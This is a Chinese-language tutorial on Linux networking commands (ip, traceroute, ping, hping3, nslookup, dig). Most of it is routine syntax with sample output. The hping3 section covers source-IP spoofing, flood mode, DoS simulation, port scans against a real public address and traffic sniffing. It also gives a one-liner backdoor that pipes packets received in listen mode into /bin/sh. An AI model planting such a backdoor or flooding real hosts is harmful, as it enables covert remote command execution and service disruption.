Linux网络命令与脚本使用
阅读原文时间:2021年06月29日阅读:1

作为系统管理员,经常需要诊断和解决网络问题,而配置、监控与保护网络有助于发现问题并在事情范围扩大前得意解决,并且网络的性能与安全也是管理与诊断网络的重要部分。这里总结一下常用与Linux网络管理的命令,大概60个长期更新。

iproute2 包含网络、路由、ARP缓存等的管理与配置的ip命令,用来取代传统的 ifconfigrouteip 使用第二个参数,指定在对象执行的操作(例如,add delete show)。

ip 命令是配置网络接口的强大工具,任何 Linux 系统管理员都应该知道。它用于启动或关闭接口、分配和删除地址和路由、管理 ARP 缓存等等。

ip 常用的子命令有:

  • link (l) 网络接口管理
  • address (a) IP地址管理
  • route (r) 路由表管理
  • neigh (n) arp表管理

各系统下的包名与安装

  • Ubuntu/Debian: iproute2apt install iproute2
  • Centos/Fedora: iproute2yum install -y iproute2
  • Apline:iproute2apk add iproute2

ip link 用于管理和显示网络接口

查看特定设备信息

ip link show dev [device]

查看所有网络接口的统计信息(如传输或丢弃的数据包,错误等等):

ip -s link

查看单个网络接口的类似信息:

ip -s link ls [interface]

例如

[root@vm207694 ~]# ip -s link ls eth0
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq state UP mode DEFAULT group default qlen 1000
    link/ether da:78:c8:7a:fb:26 brd ff:ff:ff:ff:ff:ff
    RX: bytes  packets  errors  dropped overrun mcast
    38626072259 324723879 0       347316  0       0
    TX: bytes  packets  errors  dropped carrier collsns
    13404948080 6829250  0       0       0       0

如果需要显示更多的详情,可以再添加一个 -s

ip -s -s link ls [interface]

仅查看启动(运行)的接口列表

ip link ls up

查看 ip link 的帮助

ip link help

启动/关闭网络接口

ip link set [interface] up/down

ip link 可以修改设备传输队列的长度

ip link set txqueuelen [number] dev [interface]

设置 MTU (Maximum Transmission Unit) 来提高网络性能

ip link set mtu [number] dev [interface]

查看与管理IP地址 ip addr

显示所有设备

ip addr

列出网络接口与IP地址

ip addr show

查看单个网络设备的信息

ip addr show dev [interface]

列出 IPv4/IPv6 地址

ip -4 addr
ip -6 addr

在Linux中添加网络地址

ip addr add [ip_address] dev [interface]

添加广播地址

ip addr add brd [ip_address] dev [interface]

删除接口上的网络地址

ip addr del [ip_address] dev [interface]

管理路由表 ip route

显示路由表 ip route list

ip route
ip route list

选择范围;上述命令列出内核内所有路由条目,如果想要缩小范围可以使用选择器 SELECTOR

语法:ip route list SELECTOR

SELECTOR:

  • root:[ local | main | default | all | NUMBER ]

  • match

    [ match PREFIX ]

    ip route list match 10
  • exact: [ exact PREFIX ]

  • TABLE

    [ table TABLE_ID ] [ local | main | default | all | NUMBER ]

    ip route list table local
    
    broadcast 127.0.0.0 dev lo proto kernel scope link src 127.0.0.1
    local 127.0.0.0/8 dev lo proto kernel scope host src 127.0.0.1
    local 127.0.0.1 dev lo proto kernel scope host src 127.0.0.1
    broadcast 127.255.255.255 dev lo proto kernel scope link src 127.0.0.1
    broadcast 195.133.10.0 dev eth0 proto kernel scope link src 195.133.11.43
    local 195.133.11.43 dev eth0 proto kernel scope host src 195.133.11.43
    broadcast 195.133.11.255 dev eth0 proto kernel scope link src 195.133.11.43
  • PROTO

    [ proto RTPROTO ] [ kernel | boot | static | NUMBER ]

    ip route list proto static
  • TYPE

    [ type TYPE ] { unicast | local | broadcast | multicast | throw |unreachable | prohibit | blackhole | nat }

    ip route list type multicast
  • SCOPE

    [ scope SCOPE ] [ host | link | global | NUMBER ]

    ip route list scope link
    
    169.254.0.0/16 dev eth0 metric 1002
    172.16.0.0/20 dev eth0 proto kernel src 172.16.0.2

修改路由表 ip route add/del

在指定设备上添加路由条目

ip route add [ip_address] dev [interface]

通过网关添加新路由

ip route add [ip_address] via [gatewayIP]

通过本地网关为所有地址添加默认路由

ip route add default [ip_address] dev [device]

ip route add default [network/mask] via [gatewayIP]

删除已经存在的路由表

ip route del [ip_address]
ip route del default
ip route del [ip_address] dev [interface]

ARP地址表管理 ip neighbor

显示arp 条目 ip neigh show

显示系统中设备的MAC地址及其状态。设备存在的状态:

状态

说明

REACHABLE

在超时过期之前有效且可访问的条目

PERMANENT

管理员才能删除的永久条目

STALE

有效但无法访问的条目;为了检查它的状态,内核在第一次传输时检查

例如

ip neigh show

192.168.10.1 dev eth0 lladdr 00:1f:ce:72:bd:8c REACHABLE
46.17.40.155 dev eth0 lladdr c4:71:fe:f1:9f:3f STALE
2a00:b700:3::1 dev eth0 lladdr 00:1f:ce:72:bd:8c router STALE
fe80::f0c5:a5ff:fee8:2aa4 dev eth0 lladdr f2:c5:a5:e8:2a:a4 router STALE
fe80::a48a:1eff:fe35:c2f7 dev eth0 lladdr a6:8a:1e:35:c2:f7 router STALE
fe80::4c4d:b3ff:fe44:fd58 dev eth0 lladdr 4e:4d:b3:44:fd:58 router STALE
fe80::4c33:dfff:fe92:9f2f dev eth0 lladdr 4e:33:df:92:9f:2f router STALE
fe80::21f:ceff:fe72:bd8c dev eth0 lladdr 00:1f:ce:72:bd:8c router STALE

修改arp条目 ip neigh add/del

ip neigh add [ip_address] dev [interface]

ip neigh del [ip_address] dev [interface]

traceroute 可以追踪数据传输是如何从本地传输到远程的。一个典型的例子是网页的访问。在互联网上加载一个网页需要数据流经一个网络和许多路由器。traceroute 可以显示所采用的路由以及网络上路由器的IP和主机名。它可以应用于排查网络延迟或诊断网络问题。

各系统下的包名与安装

  • Ubuntu/Debian: tracerouteapt install traceroute -y
  • Centos/Fedora: tracerouteyum install -y traceroute
  • Apline:busyboxapk add busybox

追踪网络主机的路由 traceroute host

traceroute baidu.com

traceroute to baidu.com (220.181.38.148), 30 hops max, 60 byte packets
 1  * 9.31.61.129 (9.31.61.129)  1.795 ms *
 2  9.31.123.98 (9.31.123.98)  0.907 ms  1.179 ms  1.416 ms
 3  10.196.18.109 (10.196.18.109)  0.866 ms 10.196.18.125 (10.196.18.125)  1.085 ms *
 4  10.162.33.5 (10.162.33.5)  1.297 ms 10.200.16.169 (10.200.16.169)  0.774 ms 10.196.92.109 (10.196.92.109)  1.218 ms
 5  10.162.32.145 (10.162.32.145)  1.539 ms  1.431 ms 10.162.32.149 (10.162.32.149)  1.310 ms
 6  * * *
 7  58.63.249.45 (58.63.249.45)  7.320 ms * 121.14.50.25 (121.14.50.25)  7.859 ms
 8  * * 113.96.4.121 (113.96.4.121)  4.887 ms
 9  202.97.22.149 (202.97.22.149)  32.481 ms 202.97.22.153 (202.97.22.153)  32.676 ms
10  36.110.245.206 (36.110.245.206)  36.928 ms 36.110.247.54 (36.110.247.54)  37.593 ms 36.110.245.82 (36.110.245.82)  41.254 ms
11  36.110.245.161 (36.110.245.161)  33.749 ms *  37.905 ms
12  * * *
13  * * 220.181.182.170 (220.181.182.170)  42.998 ms
14  * * *
15  * * *
16  * * *
17  * * *
18  * * *
19  * * *
20  * * *
21  * * *
22  * * *
23  * * *
24  * * *
25  * * *
26  * * *
27  * * *
28  * * *
29  * * *
30  * * *

第一行显示要访问的主机名和ip、traceroute将尝试到主机的最大跃点数以及要发送的字节数据包的大小。

每行列出到达目的地的一个跳跃点。给出主机名与主机名的ip,然后是数据包到达主机并返回发起计算机所需的时间。默认情况下,traceroute 为每个主机发送三个数据包,因此列出了三个响应时间。

星号 * 表示丢失的数据包。这意味着网络中断、大量流量导致网络拥塞或防火墙丢弃流量。

追踪IPv6协议

traceroute -6 ipv6.google.com

忽略主机名与IP的映射

使用-n选项在traceroute中禁用IP地址映射。

traceroute -n qq.com

traceroute to qq.com (183.3.226.35), 30 hops max, 60 byte packets
 1  9.31.61.129  0.908 ms  1.159 ms  1.537 ms
 2  9.31.122.210  1.061 ms  0.837 ms  1.421 ms

设置相应等待时间

使用 -w 选项在traceroute 中配置响应等待时间,支持指定等待对探测的响应的时间(秒为单位)。

traceroute -w 1 -n qq.com

使用特定的网络接口

使用-i选项设置traceroute应使用的网络接口,如果未设置,则根据路由表选择接口。

traceroute -w 1 -n -i eth0 qq.com

ping

Ping是一种简单、广泛使用的跨平台网络工具,用于测试主机是否可以在Internet协议(IP)网络上访问。它的工作原理是向目标主机发送网络控制消息协议Internet Control Message Protocol (ICMP) ECHO_REQUEST,目标节点等待并回复 ECHO_RESPONSE

可以使用ping 测试两节点间的网络通信,可以做到:

  • 目标主机是否可用,
  • 测量数据包到达目标主机并返回计算机所需的时间(与目标主机通信的往返时间(rtt)),以及数据包丢失的百分比。

各系统下的安装

  • Ubuntu/Debian: iputils-pingapt install iputils-ping
  • Centos/Fedora: iputilsyum install -y iputils
  • Apline:iputilsapk add iputils

使用参数

参数

说明

-c

指定发送ECHO_REQUEST的请求数

-i

设置包与包之间的间隔 ping -i 3 -c 5 www.google.com

-f

flood ping,检测高负载下的响应,需要有root权限

-b

允许ping一个广播地址

-t

限制ping遍历的网络跳跃数(TTL Time-to-live),收到数据包的每个路由器从计数中至少减去 1,如果大于 0,路由器会将数据包转发到下一跳,否则它会丢弃它并将 ICMP 响应返回。

-s

设置ping时的数据包大小(单位 bytes),这将导致提供的总数据包大小加上ICMP头的8个额外字节。

-l

发送预加载数据包(先发不等待回复的数据包),大于3需要root权限

-W

设置等待相应时间,单位秒

-w

设置超时时间,超时退出,单位秒

-d

debug模式

-v

显示详细输出

-A

更快的在两节点间包往返的时间,非特权用户最小为200ms

hping

hping一个具有可嵌入tcl脚本功能的 TCP/IP包伪造工具。,主要用于创建或生成网络数据包以测试网络、服务或系统性能。 hping 是由不同实体开发的旧工具,并以 hping2hping3 等新版本命名。 在大多数情况下,您可以使用操作系统提供的命令,可以是 hping 或 hping2 或 hping3。 hping 名称源自 ping 命令名称。hping3 是另一种用于扫描网络的工具。它在kali linux中默认是DOS攻击软件之一。

hping支持TCP、UDP、ICMP、raw-IP等协议用于不同的用例。通过使用hping,可以创建具有不同选项的不同协议包。hping主要可以用作。

  • 创建原始IP数据包
  • 生成指定数量的数据包
  • 设置包发送间隔
  • 指定传输网络接口
  • 创建和生成TCP数据包
  • 创建和生成UDP数据包
  • 创建和生成IP数据包
  • 创建和生成ICMP数据包
  • 设置MTU值
  • 设置碎片并创建碎片或未碎片的数据包
  • 设置数据包的有效负载或数据大小

hping的常用场景

  • 模拟DOS和DDOS攻击
  • 测试防火墙和TCP、UDP、IP等协议的防火墙配置
  • TCP和UDP端口扫描
  • 测试网络设备的配置,如碎片、MTU等。
  • 用于列出中间主机的高级跟踪路由
  • 远程操作系统指纹识别和检测
  • 远程正常运行时间决策
  • TCP/IP协议实现与栈测试审计

各系统下的安装

  • Ubuntu/Debian: hping3apt install hping3
  • Centos/Fedora: hping3yum install epel-release && yum install -y hping3
  • Apline:hping3apk add hping3 --update-cache --repository http://dl-cdn.alpinelinux.org/alpine/edge/testing

参数说明

基础参数

参数选项

参数说明

-c --count [count]

发送数据包的次数 关于countreached_timeout 可以在hping2.h里编辑

-i --interval

每个包发送间隔时间(单位是毫秒) 缺省时间是1秒,此功能在增加传输率上很重要。
-i 1 为1s
-i u1 为1us (微秒) 即每秒发送1000000包

--fast

-i u10000 的别名,即1秒发送10个包

--faster

-i u1 的别名,但实际上发送的包取决于计算机的速度

--flood

尽可能快速的发送包,不关注收到的恢复,要比 -i u0

-I --interface [interface name]

指定默认的路由接口,在linux中,hping3使用默认路由接口。
可以使用 -I 接网络接口的完整名称,如 eth0

-q -quiet

安静输出。除了启动时和完成时的摘要信息外,不输出任何内容。

-n -nmeric

数字化输出主机地址

协议选项

默认情况下,hping使用的为tcp协议

选项

说明

-0 --rawip

原始IP模式,此模式下,hping3将发送IP头。

-1 --icmp

ICMP模式,默认情况下hping3将发送ICMP回显请求。

-2 --udp

UDP模式,默认情况下,hping3将向目标主机的0端口发送UDP

-8 --scan

端口扫描,在该模式下,需要提供一组端口,如 1,2,3 端口组以 , 分隔
端口范围:start-end1000-2000
特殊字符:all 表示所有端口;know :包含 /etc/services 中的所有端口
组合写法:hping --scan 1-1000,8888,known -S www.baidu.com

-9 --listen signature

监听模式,此模式下 hping3 等待包含签名的数据包并从签名端转储到数据包的结尾处。

IP相关选项

参数

说明

-a --spoof hostname

此选项可以伪造源IP地址,可确保目标不会获得真实IP地址,必然性的响应将被发送到伪造的地址处。

--rand-source

此选项开启随机源模式。hping将发送带有随机源地址的数据包。

--rand-dest

此选项开启随机目标模式。hping将数据包发送到随机目标地址
如,当使用随机目标地址时,可以使用x 作为范围,所有出现的 x 都将呗替换为0-255之间的随机数。如10.0.0.x。可以使用--debug 选项查看生成的随机地址。
注意:使用此选项,hping无法检测数据包的正确传出接口,应使用 -I 选项指定网络接口。

-t --ttl

此选项可以设置传出数据包的TTL(生存时间)

-N id

设置IP字段的随机值

-H --ipproto

在RAW IP模式中设置IP协议

-r --rel

ip id等增量

-m –mtu

设置虚拟最大传输单元

icmp选项

参数

说明

-C --icmptype type

设置icmp类型,默认为icmp echo reques。

--icmp-ipver

设设置包含在ICMP数据中的IP头的IP版本,默认值为4。

--icmp-ipproto

设置包含在ICMP数据中的IP头的IP协议,默认为TCP。

TCP/UDP选项

参数

说明

-s --baseport [src port]

随机源端口

-p --destport [dest port]

设置目标端口
+ 目标端口将随着收到的每个回复而增加
++ 目标端口每发送数据包都会增加

--keep

保持源端口不边

-w --win

设置tcp窗口大小,默认64

-F --fin

设置 tcp fin标记

-S --syn

设置 tcp SYN标记

-R --rst

设置 tcp rst标记

-P --push

设置 tcp PUSH标记

-A --ack

设置 tcp ACK标记

-U --urg

设置 tcp URG标记

-X --xmas

设置 tcp Xmas标记

-Y --ymas

设置 tcp Ymas标记

常用参数

参数

说明

-d --data

设置数据包主体大小。 使用 --data 40 hping将在 protocol_header 增加40 字节。

-E --file [filename]

使用文件名内容填充数据包的数据

-j --dump

以16进制导出数据包

-J --print

导出可打印的数据包

-u --end

如果使用 ``--file filename` 选项,何时为EOF。

-T --traceroute

traceroute 模式。此选项将在接收ttl来尝试追踪。

--tr-keep-ttl

保持ttl的固定,用于监视某一跳

–tr-stop

traceroute 下收到第一个不是ICMP时退出

….

输出格式

hping的一个标准的TCP/UDP格式如下,UDP字段含义与TCP的相同。

# tcp
len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms

# udp
len=46 ip=192.168.1.1 seq=0 ttl=64 id=0 rtt=6.0 ms
  • len:len是从数据链路层捕获的数据的大小(字节),不包括数据链路头大小。
  • ip: ip 为请求的ip
  • flags:flags为TCP的标记,如
    • R RESET
    • S SYN
    • A ACK
    • F FIN
    • P PUSH
    • U URGENT
    • X 不标准的 0x40
    • Y 不标准的 0x80
  • seq:seq是数据包的序列号,使用TCP/UDP数据包的源端口获得
  • id 是IP ID字段。
  • win TCP 窗口大小
  • rtt 往返时间 (round trip time),单位毫秒
  • 以下是使用-V参数后的字段
    • tos 是IP标头的服务类型字段。
    • iplen ip的总长度
    • seq 和 ack 是TCP标头中的序列号和32位确认号
    • 是TCP标头校验和值。
    • urp TCP紧急指针值。

ICMP的输出格式

ICMP Port Unreachable from ip=192.168.1.1 name=nano.marmoc.net

在此格式中,ip 为 ICMP 错误的 IP 地址,name为解析的名称或者为UNKNOWN,而其他的参数含义与TCP/UDP大致相同。

端口扫描

hping可以自由地创建原始IP、TCP、UDP和ICMP数据包。可以利用此功能生成 TCP SYN 扫描。TCP-SYN 扫描是最简单的将数据包发送到主机/IP端口的方法。这里 扫描的为110.242.68.4:80

启动经典的扫描的最简单方法是将TCP-SYN数据包发送到主机/ip上的端口。下面的命令将扫描IP 192.168.8.223上的端口80。从输出中,可以看到 flags=SA SYN和ACK标记,代表一个开放端口。

hping3 -S 110.242.68.4 -p 80 -c 2

扫描一个范围的端口可以使用 ++

hping3 -S 110.242.68.4 -p ++80

也可以使用如下方式

hping3 -8 80-86 -S 110.242.68.4 

Scanning 110.242.68.4 (110.242.68.4), port 80-86
7 ports to scan, use -V to see all the replies
+----+-----------+---------+---+-----+-----+-----+
|port| serv name |  flags  |ttl| id  | win | len |
+----+-----------+---------+---+-----+-----+-----+
   80 http       : .S..A... 128 60936 64240    46
All replies received. Done.
Not responding ports: (81 ) (82 xfer) (83 mit-ml-dev) (84 ctf) (85 ) (86 mfcobol)

通过Hping3跟踪路由到指定端口:

hping3支持一个很实用功能,可以追踪路由到一个指出的端口,查看你的数据包被阻塞的地方。

hping3 --traceroute -p 80 -V -1 www.google.com

using eth0, addr: 195.133.11.43, MTU: 1500
HPING www.google.com (eth0 142.250.150.104): icmp mode set, 28 headers + 0 data bytes
hop=1 TTL 0 during transit from ip=195.133.10.1 name=gateway
hop=1 hoprtt=3.1 ms
hop=2 TTL 0 during transit from ip=10.11.12.37 name=UNKNOWN
hop=2 hoprtt=10.0 ms
hop=3 TTL 0 during transit from ip=62.140.243.62 name=msk-m9-b1-ae30-vlan449.fiord.net
hop=3 hoprtt=1.9 ms
hop=4 TTL 0 during transit from ip=62.140.239.113 name=msk-m9-b6-ae1-vlan12.fiord.net
hop=4 hoprtt=9.8 ms
hop=5 TTL 0 during transit from ip=72.14.222.198 name=UNKNOWN
hop=5 hoprtt=4.2 ms
hop=6 TTL 0 during transit from ip=108.170.250.33 name=UNKNOWN
hop=6 hoprtt=3.8 ms
hop=7 TTL 0 during transit from ip=108.170.250.51 name=UNKNOWN
hop=7 hoprtt=2.5 ms
hop=8 TTL 0 during transit from ip=142.251.49.158 name=UNKNOWN
hop=8 hoprtt=34.7 ms
hop=9 TTL 0 during transit from ip=108.170.235.204 name=UNKNOWN
hop=9 hoprtt=18.2 ms
hop=10 TTL 0 during transit from ip=142.250.209.35 name=UNKNOWN
hop=10 hoprtt=17.1 ms
....

不同类型的ICMP

hping3 -c 5 -V -1 -C 17 110.242.68.4 

using eth0, addr: 10.0.0.4, MTU: 1500
HPING 110.242.68.4 (eth0 110.242.68.4): icmp mode set, 28 headers + 0 data bytes

--- 110.242.68.4 hping statistic ---
5 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

通过hping3进行TCP FIN扫描

在TCP连接中,FIN标志用于开始请求关闭连接。万一没有得到答复,那说明端口是开放的。通常防火墙会再次发送Rst+ack数据包,以指示该端口已关闭。

通过hping3 进行ACK扫描

有些情况下,主机可能禁止PING ICMP,此时使用ACK扫描可以用于检查主机是否处于活动状态。如果主机活跃,会相应RST标记,在hping中是为 flags=R

hping3 -c 2 -V -p 80 -A 110.242.68.4 

using eth0, addr: 10.0.0.4, MTU: 1500
HPING 110.242.68.4 (eth0 110.242.68.4): A set, 40 headers + 0 data bytes
len=46 ip=110.242.68.4 ttl=128 id=2391 tos=0 iplen=40
sport=80 flags=R seq=0 win=32767 rtt=0.6 ms
seq=1165126080 ack=0 sum=c0ba urp=0

UDP扫描

使用参数 -2 可以让hping工作于UDP模式,可以进行UDP扫描

hping3 -2 8.8.4.4 -V -p 53 -c 10

操作系统识别

使用-Q或-seqnum可以让hping 收集了ISN。

hping3 127.0.0.1 -Q -p 22 -V -S

using lo, addr: 127.0.0.1, MTU: 65536
HPING 127.0.0.1 (lo 127.0.0.1): S set, 40 headers + 0 data bytes
 893247485 +893247485
2568100167 +1674852682
2600543427 +32443260

内容探测

可以使用hping的监听模式,来抓取通过网络接口的所有流量,以及捕获对应的内容。例如抓取通过谷歌搜索的流量包

hping3 -9 "www.google.com" --beep -I eth0

hping2 listen mode
[main] memlockall(): Success
Warning: can't disable memory paging!

Accept: */*

.hk/url?sa=p&hl=zh-CN&pref=hkredirect&pval=yes&q=http://www.google.com.hk/&ust=1624605433464983&usg=AOvVaw2THxd5w15lxgX3_KA19GWL
Cache-Control: private
Content-Type: text/html; charset=UTF-8
P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."
Date: Fri, 25 Jun 2021 07:16:43 GMT
Server: gws
Content-Length: 370
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN
Set-Cookie: 1P_JAR=2021-06-25-07; expires=Sun, 25-Jul-2021 07:16:43 GMT; path=/; domain=.google.com; Secure
Set-Cookie: NID=217=PdQLBtU-tTavgvb4BW9ouB3nAr1OKNK6I_kn9u2Qa2eTgLA_qLyGv2G_2t2G_PRNVrKu2SOEm-e7ED17ljnx3uFBweBjQWOyRvHrJ6jhC5_J3yaBK0r8mikUrqHNjDez5F3rCleFQDurBEfnqECDFXNkvvO_-Wn4ahGJeid01TM; expires=Sat, 25-Dec-2021 07:16:43 GMT; path=/; domain=.google.com; HttpOnly

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>302 Moved</TITLE></HEAD><BODY>
<H1>302 Moved</H1>
The document has moved
<A HREF="http://www.google.com.hk/url?sa=p&amp;hl=zh-CN&amp;pref=hkredirect&amp;pval=yes&amp;q=http://www.google.com.hk/&amp;ust=1624605433464983&amp;usg=AOvVaw2THxd5w15lxgX3_KA19GWL">here</A>.
</BODY></HTML>
.hk/&ust=1624605433464983&usg=AOvVaw2THxd5w15lxgX3_KA19GWL HTTP/1.1
User-Agent: curl/7.29.0
Host: www.google.com.hk
Accept: */*

.hk/
Cache-Control: private
Content-Type: text/html; charset=UTF-8
P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."
Date: Fri, 25 Jun 2021 07:16:43 GMT
Server: gws
Content-Length: 222
X-XSS-Protection: 0
Set-Cookie: 1P_JAR=2021-06-25-07; e

网络后门

可以通过hping3的监听模式,创建一个简单的后门(backdoor),通过管道来执行脚本

hping3 -I eth1 -9 secret | /bin/sh

hping3 -R 192.168.1.100 -e secret -E commands_file -d 100 -c 1

nslookup(name server lookup)用于在Linux中执行DNS查找的工具。用于显示DNS详细信息,例如计算机的IP地址、域的MX记录或域的NS服务器。

nslookup 可以在两种模式下运行:交互式和非交互式。交互模式可以查询名称服务器以获取有关各种主机和域的信息或打印域中的主机列表。非交互模式仅打印主机或域的名称和请求的信息。

dig(Domain Information Groper) 执行DNS查找。默认情况下,dig查询通过 resolver ( /etc/resolv.conf ) 中列出的DNS地址,除非指定特定的name server。

各系统下的安装

  • Ubuntu/Debian: knot-dnsutilsapt install knot-dnsutils
  • Centos/Fedora: bind-utils | dnsutilsyum install -y bind-utils
  • Apline:bind-toolsapk add bind-tools

nslookup

简单查询

nslookup后跟域名将显示域名的“A记录”(IP地址),nslookup命令的默认输出比dig命令的默认输出相对整洁些。

nslookup redhat.com

执行反向DNS查找:

nslookup 208.117.229.88

查询MX记录

MX( Mail Exchange )记录将域名映射到该域的邮件服务器列表。MX记录表明发到 @qq.com 的所有邮件都应该路由到该域中的邮件服务器。

nslookup -query=mx qq.com

Server:         183.60.83.19
Address:        183.60.83.19#53

Non-authoritative answer:
qq.com  mail exchanger = 20 mx2.qq.com.
qq.com  mail exchanger = 30 mx1.qq.com.
qq.com  mail exchanger = 10 mx3.qq.com.

Authoritative answers can be found from:

Authoritative Answer与Non-Authoritative Answer

可以注意到注意到上面输出中的关键字 AuthoritativeNon-Authoritative Answer。任何来自DNS服务器的答复都称为Authoritative Answer,该服务器具有域可用的完整区域文件信息。在许多情况下,DNS服务器将不具备给定域的完整区域文件信息。相反,它维护一个缓存文件,该文件包含过去执行的所有查询的结果,并已获得权威响应。当给出一个DNS查询时,它搜索缓存文件,并以 Non-Authoritative Answer 的形式返回可用的信息。

查询NS记录

NS ( Name Server ) 记录将域名映射到该域的授权DNS服务器列表。它将输出与给定域关联的名称服务。

nslookup -type=ns qq.com

Server:         183.60.83.19
Address:        183.60.83.19#53

Non-authoritative answer:
qq.com  nameserver = ns1.qq.com.
qq.com  nameserver = ns2.qq.com.
qq.com  nameserver = ns3.qq.com.
qq.com  nameserver = ns4.qq.com.

Authoritative answers can be found from:

查询SOA记录

SOA ( start of authority )记录\,提供关于域的权威信息、域管理员的电子邮件地址、域序列号等。

nslookup -type=soa qq.com

Server:         183.60.83.19
Address:        183.60.83.19#53

Non-authoritative answer:
qq.com
        origin = ns1.qq.com
        mail addr = webmaster.qq.com
        serial = 1330914143
        refresh = 3600
        retry = 300
        expire = 86400
        minimum = 300

Authoritative answers can be found from:
  • mail addr–指定域管理员的邮件地址
  • serial 一种版本编号系统。标准惯例是使用 YYYYMMYNN 格式 2012-07-16.01如果在同一天进行了多个编辑,则将递增)
  • refresh 指定从DNS服务何时轮询主DNS以查看序列号是否已增加(以秒为单位)。如果增加,从DNS服务器将发出复制新区域文件的新请求。
  • retry 指定与主DNS重新连接的间隔
  • expire 指定辅助DNS保持缓存区域文件有效的时间
  • minimum 指定从DNS应缓存区域文件的时间

查看可用的DNS记录

nslookup -type=any qq.com

Server:         183.60.83.19
Address:        183.60.83.19#53

Non-authoritative answer:
Name:   qq.com
Address: 61.129.7.47
Name:   qq.com
Address: 183.3.226.35
Name:   qq.com
Address: 203.205.254.157
Name:   qq.com
Address: 123.151.137.18
qq.com  mail exchanger = 10 mx3.qq.com.
qq.com  mail exchanger = 20 mx2.qq.com.
qq.com  mail exchanger = 30 mx1.qq.com.

Authoritative answers can be found from:

使用指定DNS查询

可以指定特定的DNS来解析域名,而不是使用默认DNS进行查询。

nslookup www.qq.com 8.8.8.8

Server:         8.8.8.8
Address:        8.8.8.8#53

Non-authoritative answer:
www.qq.com      canonical name = news.qq.com.edgekey.net.
news.qq.com.edgekey.net canonical name = e6156.dscf.akamaiedge.net.
Name:   e6156.dscf.akamaiedge.net
Address: 23.219.132.75
Name:   e6156.dscf.akamaiedge.net
Address: 2600:1417:76:494::180c
Name:   e6156.dscf.akamaiedge.net
Address: 2600:1417:76:480::180c

使用特殊的dns端口

默认情况下,DNS使用端口号为53。可以使用-port选项指定端口号。

nslookup -port 56 qq.com

设置超时时间

可以使用 -timeout 选项来指定超时时间

nslookup -timeout=10 qq.com

启用调试模式

-debug 选项打开/关闭调试

nslookup -debug qq.com

Server:         183.60.83.19
Address:        183.60.83.19#53

------------
    QUESTIONS:
        qq.com, type = A, class = IN
    ANSWERS:
    ->  qq.com
        internet address = 183.3.226.35
        ttl = 92
    ->  qq.com
        internet address = 203.205.254.157
        ttl = 92
    ->  qq.com
        internet address = 61.129.7.47
        ttl = 92
    ->  qq.com
        internet address = 123.151.137.18
        ttl = 92
    AUTHORITY RECORDS:
    ADDITIONAL RECORDS:
------------
Non-authoritative answer:
Name:   qq.com
Address: 183.3.226.35
Name:   qq.com
Address: 203.205.254.157
Name:   qq.com
Address: 61.129.7.47
Name:   qq.com
Address: 123.151.137.18
------------
    QUESTIONS:
        qq.com, type = AAAA, class = IN
    ANSWERS:
    AUTHORITY RECORDS:
    ->  qq.com
        origin = ns1.qq.com
        mail addr = webmaster.qq.com
        serial = 1330914143
        refresh = 3600
        retry = 300
        expire = 86400
        minimum = 300
        ttl = 296
    ADDITIONAL RECORDS:
------------

dig

语法

dig @server name type

解析IP地址

dig 通常不带参数地用于获取提供的DNS名称的IP地址。默认使用系统提供的DNS服务器用于DNS解析。

dig www.qq.com

; <<>> DiG 9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.3 <<>> www.qq.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 40004
;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;www.qq.com.                    IN      A

;; ANSWER SECTION:
www.qq.com.             132     IN      CNAME   ins-r23tsuuf.ias.tencent-cloud.net.
ins-r23tsuuf.ias.tencent-cloud.net. 60 IN A     109.244.236.76
ins-r23tsuuf.ias.tencent-cloud.net. 60 IN A     109.244.236.65

;; Query time: 11 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Tue Jun 22 21:39:33 CST 2021
;; MSG SIZE  rcvd: 108

dig命令输出包括以下部分

  • HEADER:显示dig命令的版本号、dig命令使用的全局选项,以及一些附加的Header信息。
  • QUESTION SECTION:显示dig像DNSserver发出的请求。即你请求的域名。这里使用dig命令获取qq.com使用的默认类型(A记录)
  • ANSWER SECTION:显示从DNS接收到的应答。将显示qq.com 的A记录
  • ADDITIONAL SECTION:显示ADDITIONAL SECTION 中列出的DNS服务器的ip地址。
  • 底部的Stats部分显示一些dig命令统计信息,包括执行此查询所用的时间

仅显示应答部分

在大多数情况下,我们只需要查看dig的 ANSWER SECTION。可以仅打印该部分。

  • +nocomments 不显示注释行

  • +noauthority 不显示authority部分

  • +noadditional 不显示 additional 部分

  • +nostats 不显示统计信息 stats

  • +noanswer 关掉ANSWER 部分,这里一般为想要的结果

    dig www.qq.com <br /> +nocomments <br /> +noquestion <br /> +noauthority <br /> +noadditional <br /> +nostats

    ; <<>> DiG 9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.3 <<>> www.qq.com +nocomments +noquestion +noauthority +noadditional +nostats
    ;; global options: +cmd
    www.qq.com. 180 IN CNAME ins-r23tsuuf.ias.tencent-cloud.net.
    ins-r23tsuuf.ias.tencent-cloud.net. 31 IN A 109.244.236.65
    ins-r23tsuuf.ias.tencent-cloud.net. 31 IN A 109.244.236.76

也可以使用 +noal 禁用所有不需要的部分,当然也会关掉 answer ,然后+answer 只显示 answer部分,这样看起来简洁些。

dig www.qq.com \
    +noall \
    +answer

查询MX记录

将MX作为参数,可以查询mx记录,可以使用 -t 增加类型

dig qq.com  MX +noall +answer

; <<>> DiG 9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.3 <<>> qq.com MX +noall +answer
;; global options: +cmd
qq.com.                 4969    IN      MX      10 mx3.qq.com.
qq.com.                 4969    IN      MX      20 mx2.qq.com.
qq.com.                 4969    IN      MX      30 mx1.qq.com.

查询NS记录

dig qq.com NS +noall +answer

查询所有记录

查看所有记录类型(A、MX、NS等),可以使用ANY作为类型。

dig qq.com ANY +noall +answer

; <<>> DiG 9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.3 <<>> qq.com ANY +noall +answer
;; global options: +cmd
